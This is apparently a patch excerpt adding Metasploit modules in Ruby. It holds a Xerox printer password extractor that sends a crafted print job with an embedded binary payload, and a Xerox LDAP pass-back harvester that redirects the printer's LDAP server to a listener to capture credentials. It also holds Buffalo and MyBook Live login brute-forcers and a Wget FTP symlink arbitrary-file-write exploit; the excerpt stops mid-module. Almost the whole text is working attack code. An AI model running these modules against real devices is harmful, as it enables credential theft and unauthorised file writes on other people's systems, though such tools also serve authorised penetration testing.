||||
create_print_job << '%%OID_ATT_DLM_SIGNATURE "8ba01980993f55f5836bcc6775e9da90bc064e608bf878eab4d2f45dc2efca09"' + "\x0a"
|
||||
create_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0a"
|
||||
create_print_job << '%%XRXend' + "\x0a\x1f\x8b"
|
||||
create_print_job << "\x08\x00\x80\xc3\xf6\x51\x00\x03\xed\xcf\x3b\x6e\xc3\x30\x0c\x06"
|
||||
create_print_job << "\x60\xcf\x39\x05\xe3\xce\x31\x25\xa7\x8e\xa7\x06\xe8\x0d\x72\x05"
|
||||
create_print_job << "\x45\x92\x1f\x43\x2d\x43\x94\x1b\x07\xc8\xe1\xab\x16\x28\xd0\xa9"
|
||||
create_print_job << "\x9d\x82\x22\xc0\xff\x0d\x24\x41\x72\x20\x57\x1f\xc3\x5a\xc9\x50"
|
||||
create_print_job << "\xdc\x91\xca\xda\xb6\xf9\xcc\xba\x6d\xd4\xcf\xfc\xa5\x56\xaa\xd0"
|
||||
create_print_job << "\x75\x6e\x35\xcf\xba\xd9\xe7\xbe\xd6\x07\xb5\x2f\x48\xdd\xf3\xa8"
|
||||
create_print_job << "\x6f\x8b\x24\x13\x89\x8a\xd9\x47\xbb\xfe\xb2\xf7\xd7\xfc\x41\x3d"
|
||||
create_print_job << "\x6d\xf9\x3c\x4e\x7c\x36\x32\x6c\xac\x49\xc4\xef\x26\x72\x98\x13"
|
||||
create_print_job << "\x4f\x96\x6d\x98\xba\xb1\x67\xf1\x76\x89\x63\xba\x56\xb6\xeb\xe9"
|
||||
create_print_job << "\xd6\x47\x3f\x53\x29\x57\x79\x75\x6f\xe3\x74\x32\x22\x97\x10\x1d"
|
||||
create_print_job << "\xbd\x94\x74\xb3\x4b\xa2\x9d\x2b\x73\xb9\xeb\x6a\x3a\x1e\x89\x17"
|
||||
create_print_job << "\x89\x2c\x83\x89\x9e\x87\x94\x66\x97\xa3\x0b\x56\xf8\x14\x8d\x77"
|
||||
create_print_job << "\xa6\x4a\x6b\xda\xfc\xf7\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
create_print_job << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8f\xea\x03\x34\x66\x0b\xc1"
|
||||
create_print_job << "\x00\x28\x00\x00"
|
||||
|
||||
begin
|
||||
connect(true, 'RPORT' => jport)
|
||||
sock.put(create_print_job)
|
||||
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse
|
||||
print_error("#{rhost}:#{jport} - Error connecting to #{rhost}")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def retrieve
|
||||
print_status("#{rhost}:#{jport} - Retrieving password from #{rhost}")
|
||||
request = "GET /Praeda.txt HTTP/1.0\r\n\r\n"
|
||||
|
||||
begin
|
||||
connect
|
||||
sock.put(request)
|
||||
res = sock.get_once || ''
|
||||
passwd = res.match(/\r\n\s(.+?)\n/)
|
||||
return passwd ? passwd[1] : ''
|
||||
rescue ::EOFError, ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse, EOFError
|
||||
print_error("#{rhost}:#{jport} - Error getting password from #{rhost}")
|
||||
return
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
# Trigger firmware bootstrap to delete the trace files and praeda.txt file from URL
|
||||
def remove
|
||||
print_status("#{rhost}:#{jport} - Removing print job")
|
||||
remove_print_job = '%%XRXbegin' + "\x0A"
|
||||
remove_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A"
|
||||
remove_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A"
|
||||
remove_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0A"
|
||||
remove_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A"
|
||||
remove_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A"
|
||||
remove_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A"
|
||||
remove_print_job << '%%OID_ATT_DLM_SIGNATURE "8b5d8c631ec21068211840697e332fbf719e6113bbcd8733c2fe9653b3d15491"' + "\x0A"
|
||||
remove_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A"
|
||||
remove_print_job << '%%XRXend' + "\x0a\x1f\x8b"
|
||||
remove_print_job << "\x08\x00\x5d\xc5\xf6\x51\x00\x03\xed\xd2\xcd\x0a\xc2\x30\x0c\xc0"
|
||||
remove_print_job << "\xf1\x9e\x7d\x8a\x89\x77\xd3\x6e\xd6\xbd\x86\xaf\x50\xb7\xc1\x04"
|
||||
remove_print_job << "\xf7\x41\xdb\x41\x1f\xdf\x6d\x22\x78\xd2\x93\x88\xf8\xff\x41\x92"
|
||||
remove_print_job << "\x43\x72\x48\x20\xa9\xf1\x43\xda\x87\x56\x7d\x90\x9e\x95\xa5\x5d"
|
||||
remove_print_job << "\xaa\x29\xad\x7e\xae\x2b\x93\x1b\x35\x47\x69\xed\x21\x2f\x0a\xa3"
|
||||
remove_print_job << "\xb4\x31\x47\x6d\x55\xa6\x3f\xb9\xd4\xc3\x14\xa2\xf3\x59\xa6\xc6"
|
||||
remove_print_job << "\xc6\x57\xe9\xc5\xdc\xbb\xfe\x8f\xda\x6d\xe5\x7c\xe9\xe5\xec\x42"
|
||||
remove_print_job << "\xbb\xf1\x5d\x26\x53\xf0\x12\x5a\xe7\x1b\x69\x63\x1c\xeb\x39\xd7"
|
||||
remove_print_job << "\x43\x15\xe4\xe4\x5d\x53\xbb\x7d\x4c\x71\x9d\x1a\xc6\x28\x7d\x25"
|
||||
remove_print_job << "\xf5\xb5\x0b\x92\x96\x0f\xba\xe7\xf9\x8f\x36\xdf\x3e\x08\x00\x00"
|
||||
remove_print_job << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xc4\x0d\x40\x0a"
|
||||
remove_print_job << "\x75\xe1\x00\x28\x00\x00"
|
||||
|
||||
begin
|
||||
connect(true, 'RPORT' => jport)
|
||||
sock.put(remove_print_job)
|
||||
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse
|
||||
print_error("#{rhost}:#{jport} - Error removing print job from #{rhost}")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def register_creds(service_name, remote_host, remote_port, username, password)
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace.id,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username
|
||||
}
|
||||
|
||||
service_data = {
|
||||
address: remote_host,
|
||||
port: remote_port,
|
||||
service_name: service_name,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,305 @@
|
|||
#
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Xerox Workcentre 5735 LDAP Service Redential Extractor',
|
||||
'Description' => %q{
|
||||
This module extract the printer's LDAP username and password from Xerox Workcentre 5735.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Deral "Percentx" Heiland',
|
||||
'Pete "Bokojan" Arzamendi'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptString.new('PASSWORD', [true, 'Password to access administrative interface. Defaults to 1111', '1111']),
|
||||
OptPort.new('RPORT', [true, 'The target port on the remote printer. Defaults to 80', 80]),
|
||||
OptInt.new('TIMEOUT', [true, 'Timeout for printer connection probe.', 20]),
|
||||
OptInt.new('TCPDELAY', [true, 'Number of seconds the tcp server will wait before termination.', 20]),
|
||||
OptString.new('NewLDAPServer', [true, 'The IP address of the LDAP server you want the printer to connect back to.'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Attempting to extract LDAP username and password...")
|
||||
|
||||
@auth_cookie = default_page
|
||||
if @auth_cookie.blank?
|
||||
print_status("#{peer} - Unable to get authentication cookie from #{rhost}")
|
||||
return
|
||||
end
|
||||
|
||||
status = login
|
||||
return unless status
|
||||
|
||||
status = ldap_server_info
|
||||
return unless status
|
||||
|
||||
status = update_ldap_server
|
||||
return unless status
|
||||
|
||||
start_listener
|
||||
unless @data
|
||||
print_error("#{peer} - Failed to start listiner or the printer did not send us the creds. :(")
|
||||
status = restore_ldap_server
|
||||
unless status
|
||||
print_error("#{peer} - Failed to restore old LDAP server. Please manually restore")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
status = restore_ldap_server
|
||||
return unless status
|
||||
|
||||
ldap_binary_creds = @data.scan(/(\w+\\\w+).\s*(.+)/).flatten
|
||||
ldap_creds = "#{ldap_binary_creds[0]}:#{ldap_binary_creds[1]}"
|
||||
|
||||
# Woot we got creds so lets save them.#
|
||||
print_good("#{peer} - The following creds were capured: #{ldap_creds}")
|
||||
loot_name = 'ldap.cp.creds'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'ldap-creds.text'
|
||||
loot_desc = 'LDAP Pass-back Harvester'
|
||||
p = store_loot(loot_name, loot_type, datastore['RHOST'], @data, loot_filename, loot_desc)
|
||||
print_status("#{peer} - Credentials saved in: #{p}")
|
||||
|
||||
register_creds('ldap', rhost, @ldap_port, ldap_binary_creds[0], ldap_binary_creds[1])
|
||||
end
|
||||
|
||||
def default_page
|
||||
page = '/header.php?tab=status'
|
||||
method = 'GET'
|
||||
res = make_request(page, method, '')
|
||||
if res.blank? || res.code != 200
|
||||
print_error("#{peer} - Failed to connect to #{rhost}. Please check the printers IP address.")
|
||||
return ''
|
||||
end
|
||||
res.get_cookies
|
||||
end
|
||||
|
||||
def login
|
||||
login_page = '/userpost/xerox.set'
|
||||
login_vars = {
|
||||
'_fun_function' => 'HTTP_Authenticate_fn',
|
||||
'NextPage' => '%2Fproperties%2Fauthentication%2FluidLogin.php',
|
||||
'webUsername' => 'admin',
|
||||
'webPassword' => datastore['PASSWORD'],
|
||||
'frmaltDomain' => 'default'
|
||||
}
|
||||
login_post_data = []
|
||||
login_vars.each_pair{|k, v| login_post_data << "#{k}=#{v}" }
|
||||
login_post_data *= '&'
|
||||
method = 'POST'
|
||||
|
||||
res = make_request(login_page, method, login_post_data)
|
||||
if res.blank? || res.code != 200
|
||||
print_error("#{peer} - Failed to login. Please check the password for the Administrator account")
|
||||
return nil
|
||||
end
|
||||
res.code
|
||||
end
|
||||
|
||||
def ldap_server_info
|
||||
ldap_info_page = '/ldap/index.php?ldapindex=default&from=ldapConfig'
|
||||
method = 'GET'
|
||||
res = make_request(ldap_info_page, method, '')
|
||||
html_body = ::Nokogiri::HTML(res.body)
|
||||
ldap_server_settings_html = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[1]/div/div').text
|
||||
ldap_server_ip = ldap_server_settings_html.scan(/valIpv4_1_\d\[2\] = (\d+)/i).flatten
|
||||
ldap_port_settings = html_body.xpath('/html/body/form[1]/div[1]/div[2]/div[2]/div[2]/div[4]/script').text
|
||||
ldap_port_number = ldap_port_settings.scan(/valPrt_1\[2\] = (\d+)/).flatten
|
||||
@ldap_server = "#{ldap_server_ip[0]}.#{ldap_server_ip[1]}.#{ldap_server_ip[2]}.#{ldap_server_ip[3]}"
|
||||
@ldap_port = ldap_port_number[0]
|
||||
print_status("#{peer} - LDAP server: #{@ldap_server}")
|
||||
unless res.code == 200 || res.blank?
|
||||
print_error("#{peer} - Failed to get LDAP data.")
|
||||
return nil
|
||||
end
|
||||
res.code
|
||||
end
|
||||
|
||||
def update_ldap_server
|
||||
ldap_update_page = '/dummypost/xerox.set'
|
||||
ldap_update_vars = {
|
||||
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
|
||||
'NextPage' => '/ldap/index.php?ldapindex=default',
|
||||
'from' =>'ldapConfig',
|
||||
'ldap.server[default].server' => "#{datastore['NewLDAPServer']}:#{datastore['SRVPORT']}",
|
||||
'ldap.maxSearchResults' => '25',
|
||||
'ldap.searchTime' => '30',
|
||||
}
|
||||
ldap_update_post = []
|
||||
ldap_update_vars.each_pair{|k, v| ldap_update_post << "#{k}=#{v}" }
|
||||
ldap_update_post *= '&'
|
||||
method = 'POST'
|
||||
|
||||
print_status("#{peer} - Updating LDAP server: #{datastore['NewLDAPServer']} and port: #{datastore['SRVPORT']}")
|
||||
res = make_request(ldap_update_page, method, ldap_update_post)
|
||||
if res.blank? || res.code != 200
|
||||
print_error("#{peer} - Failed to update LDAP server. Please check the host: #{rhost}")
|
||||
return nil
|
||||
end
|
||||
res.code
|
||||
end
|
||||
|
||||
def trigger_ldap_request
|
||||
ldap_trigger_page = '/userpost/xerox.set'
|
||||
ldap_trigger_vars = {
|
||||
'nameSchema'=>'givenName',
|
||||
'emailSchema'=>'mail',
|
||||
'phoneSchema'=>'telephoneNumber',
|
||||
'postalSchema'=>'postalAddress',
|
||||
'mailstopSchema'=>'l',
|
||||
'citySchema'=>'physicalDeliveryOfficeName',
|
||||
'stateSchema'=>'st',
|
||||
'zipCodeSchema'=>'postalcode',
|
||||
'countrySchema'=>'co',
|
||||
'faxSchema'=>'facsimileTelephoneNumber',
|
||||
'homeSchema'=>'homeDirectory',
|
||||
'memberSchema'=>'memberOf',
|
||||
'uidSchema'=>'uid',
|
||||
'ldapSearchName'=>'test',
|
||||
'ldapServerIndex'=>'default',
|
||||
'_fun_function'=>'HTTP_LDAP_Search_fn',
|
||||
'NextPage'=>'%2Fldap%2Fmappings.php%3Fldapindex%3Ddefault%26from%3DldapConfig'
|
||||
}
|
||||
ldap_trigger_post = []
|
||||
ldap_trigger_vars.each_pair {|k, v| ldap_trigger_post << "#{k}=#{v}" }
|
||||
ldap_trigger_post *= '&'
|
||||
method = 'POST'
|
||||
|
||||
print_status("#{peer} - Triggering LDAP reqeust")
|
||||
res = make_request(ldap_trigger_page, method, ldap_trigger_post)
|
||||
res.code
|
||||
end
|
||||
|
||||
def start_listener
|
||||
server_timeout = datastore['TCPDELAY'].to_i
|
||||
begin
|
||||
print_status('Service running. Waiting for connection')
|
||||
Timeout.timeout(server_timeout) do
|
||||
exploit
|
||||
end
|
||||
rescue Timeout::Error
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def primer
|
||||
trigger_ldap_request
|
||||
end
|
||||
|
||||
def on_client_connect(client)
|
||||
on_client_data(client)
|
||||
end
|
||||
|
||||
def on_client_data(client)
|
||||
@data = client.get_once
|
||||
client.stop
|
||||
end
|
||||
|
||||
def restore_ldap_server
|
||||
ldap_restore_page = '/dummypost/xerox.set'
|
||||
ldap_restore_vars = {
|
||||
'_fun_function' => 'HTTP_Set_Config_Attrib_fn',
|
||||
'NextPage' => '/ldap/index.php?ldapaction=add',
|
||||
'ldapindex' => 'default&from=ldapConfig',
|
||||
'ldap.server[default].server' => "#{@ldap_server}:#{@ldap_port}",
|
||||
'ldap.maxSearchResults' => '25',
|
||||
'ldap.searchTime' => '30',
|
||||
'ldap.search.uid' => 'uid',
|
||||
'ldap.search.name' => 'givenName',
|
||||
'ldap.search.email' => 'mail',
|
||||
'ldap.search.phone' => 'telephoneNumber',
|
||||
'ldap.search.postal' => 'postalAddress',
|
||||
'ldap.search.mailstop' => 'l',
|
||||
'ldap.search.city' => 'physicalDeliveryOfficeName',
|
||||
'ldap.search.state' => 'st',
|
||||
'ldap.search.zipcode' => 'postalcode',
|
||||
'ldap.search.country' => 'co',
|
||||
'ldap.search.ifax' => 'No Mappings Available',
|
||||
'ldap.search.faxNum' => 'facsimileTelephoneNumber',
|
||||
'ldap.search.home' => 'homeDirectory',
|
||||
'ldap.search.membership' => 'memberOf'
|
||||
}
|
||||
ldap_restore_post = []
|
||||
ldap_restore_vars.each_pair {|k, v| ldap_restore_post << "#{k}=#{v}" }
|
||||
ldap_restore_post *= '&'
|
||||
method = 'POST'
|
||||
|
||||
print_status("#{peer} - Restoring LDAP server: #{@ldap_server}")
|
||||
res = make_request(ldap_restore_page, method, ldap_restore_post)
|
||||
if res.blank? || res.code != 200
|
||||
print_error("#{peer} - Failed to restore LDAP server: #{@ldap_server}. Please fix manually")
|
||||
return nil
|
||||
end
|
||||
res.code
|
||||
end
|
||||
|
||||
def make_request(page, method, post_data)
|
||||
res = nil
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => page,
|
||||
'method' => method,
|
||||
'cookie' => @auth_cookie,
|
||||
'data' => post_data
|
||||
}, datastore['TIMEOUT'].to_i)
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{peer} - Connection failed.")
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def register_creds(service_name, remote_host, remote_port, username, password)
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace.id,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
username: username
|
||||
}
|
||||
|
||||
service_data = {
|
||||
address: remote_host,
|
||||
port: remote_port,
|
||||
service_name: service_name,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/buffalo'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Buffalo NAS Login Utility',
|
||||
'Description' => %q{
|
||||
This module simply attempts to login to a Buffalo NAS instance using a specific
|
||||
username and password. It has been confirmed to work on version 1.68
|
||||
},
|
||||
'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::Buffalo.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
connection_timeout: 10,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST']
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,91 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/mybook_live'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Western Digital MyBook Live Login Utility',
|
||||
'Description' => 'This module simply attempts to login to a Western Digital MyBook Live instance using a specific user/pass.',
|
||||
'Author' => [ 'Nicholas Starke <starke.nicholas[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80)
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([ 80 ])
|
||||
|
||||
# username is hardcoded into application
|
||||
deregister_options('RHOST', 'USERNAME', 'USER_FILE', 'USER_AS_PASS', 'DB_ALL_USERS')
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
# They must select at least blank passwords, provide a pass file or a password
|
||||
one_required = %w(BLANK_PASSWORDS PASS_FILE PASSWORD)
|
||||
unless one_required.any? { |o| datastore.has_key?(o) && datastore[o] }
|
||||
fail_with(Failure::BadConfig, "Invalid options: One of #{one_required.join(', ')} must be set")
|
||||
end
|
||||
if !datastore['PASS_FILE']
|
||||
if !datastore['BLANK_PASSWORDS'] && datastore['PASSWORD'].blank?
|
||||
fail_with(Failure::BadConfig, "PASSWORD or PASS_FILE must be set to a non-empty string if not BLANK_PASSWORDS")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
username: 'admin'
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::MyBookLive.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
connection_timeout: 10,
|
||||
user_agent: datastore['UserAgent'],
|
||||
vhost: datastore['VHOST']
|
||||
)
|
||||
|
||||
if ssl
|
||||
scanner.ssl = datastore['SSL']
|
||||
scanner.ssl_version = datastore['SSLVERSION']
|
||||
end
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,163 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::FtpServer
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'GNU Wget FTP Symlink Arbitrary Filesystem Access',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in Wget when used in
|
||||
recursive (-r) mode with a FTP server as a destination. A
|
||||
symlink is used to allow arbitrary writes to the target's
|
||||
filesystem. To specify content for the file, use the
|
||||
"file:/path" syntax for the TARGET_DATA option.
|
||||
|
||||
Tested successfully with wget 1.14. Versions prior to 1.16
|
||||
are presumed vulnerable.
|
||||
},
|
||||
'Author' => ['hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [['Service']],
|
||||
'PassiveActions' => ['Service'],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-4877'],
|
||||
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ]
|
||||
],
|
||||
'DefaultAction' => 'Service',
|
||||
'DisclosureDate' => 'Oct 27 2014'
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGET_FILE', [ true, "The target file to overwrite", '/tmp/pwned' ]),
|
||||
OptString.new('TARGET_DATA', [ true, "The data to write to the target file", 'Hello from Metasploit' ]),
|
||||
OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121])
|
||||
], self.class)
|
||||
|
||||
@fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8)
|
||||
end
|
||||
|
||||
def run
|
||||
my_address = Rex::Socket.source_address
|
||||
print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/")
|
||||
exploit()
|
||||
end
|
||||
|
||||
def on_client_command_user(c,arg)
|
||||
@state[c][:user] = arg
|
||||
c.put "331 User name okay, need password...\r\n"
|
||||
end
|
||||
|
||||
def on_client_command_pass(c,arg)
|
||||
@state[c][:pass] = arg
|
||||
c.put "230 Login OK\r\n"
|
||||
@state[c][:auth] = true
|
||||
print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...")
|
||||
end
|
||||
|
||||
def on_client_command_retr(c,arg)
|
||||
print_status("#{@state[c][:name]} -> RETR #{arg}")
|
||||
|
||||
if not @state[c][:auth]
|
||||
c.put "500 Access denied\r\n"
|
||||
return
|
||||
end
|
||||
|
||||
unless arg.index(::File.basename(datastore['TARGET_FILE']))
|
||||
c.put "550 File does not exist\r\n"
|
||||
return
|
||||
end
|
||||
|
||||
conn = establish_data_connection(c)
|
||||
if not conn
|
||||
c.put("425 Can't build data connection\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
|
||||
conn.put(datastore['TARGET_DATA'])
|
||||
c.put("226 Transfer complete.\r\n")
|
||||
conn.close
|
||||
|
||||
print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}")
|
||||
end
|
||||
|
||||
def on_client_command_list(c,arg)
|
||||
|
||||
print_status("#{@state[c][:name]} -> LIST #{arg}")
|
||||
|
||||
if not @state[c][:auth]
|
||||
c.put "500 Access denied\r\n"
|
||||
return
|
||||
end
|
||||
|
||||
conn = establish_data_connection(c)
|
||||
if not conn
|
||||
c.put("425 Can't build data connection\r\n")
|
||||
return
|
||||
end
|
||||
|
||||
pwd = @state[c][:cwd]
|
||||
buf = ''
|
||||
|
||||
dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e %Y")
|
||||
unless pwd.index(@fakedir)
|
||||
buf << "lrwxrwxrwx 1 root root 33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}\r\n"
|
||||
buf << "drwxrwxr-x 15 root root 4096 #{dstamp} #{@fakedir}\r\n"
|
||||
else
|
||||
buf << "-rwx------ 1 root root #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}\r\n"
|
||||
end
|
||||
|
||||
c.put("150 Opening ASCII mode data connection for /bin/ls\r\n")
|
||||
conn.put("total #{buf.length}\r\n" + buf)
|
||||
c.put("226 Transfer complete.\r\n")
|
||||
conn.close
|
||||
end
|
||||
|
||||
def on_client_command_size(c,arg)
|
||||
|
||||
if not @state[c][:auth]
|
||||
c.put "500 Access denied\r\n"
|
||||
return
|
||||
end
|
||||
|
||||
c.put("213 #{datastore['TARGET_DATA'].length}\r\n")
|
||||
end
|
||||
|
||||
|
||||
